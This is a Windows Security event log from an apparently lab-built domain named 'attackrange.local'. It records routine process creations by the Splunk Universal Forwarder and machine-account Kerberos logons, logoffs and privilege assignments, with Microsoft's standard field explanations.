Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255486
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255485
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255488
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255487
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255489
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255492
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x319896

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:15:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255491
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x319896
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62644

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:15:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255490
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x319896

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:16:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255493
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255494
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255496
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255495
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255498
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255497
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255499
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa08
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:16:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255502
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31CDEC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:16:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255501
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31CDEC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62659

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:16:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255500
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31CDEC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255508
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D0BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255507
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31D0BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62663

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255506
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D0BA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255505
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D04E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255504
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31D04E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62662

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

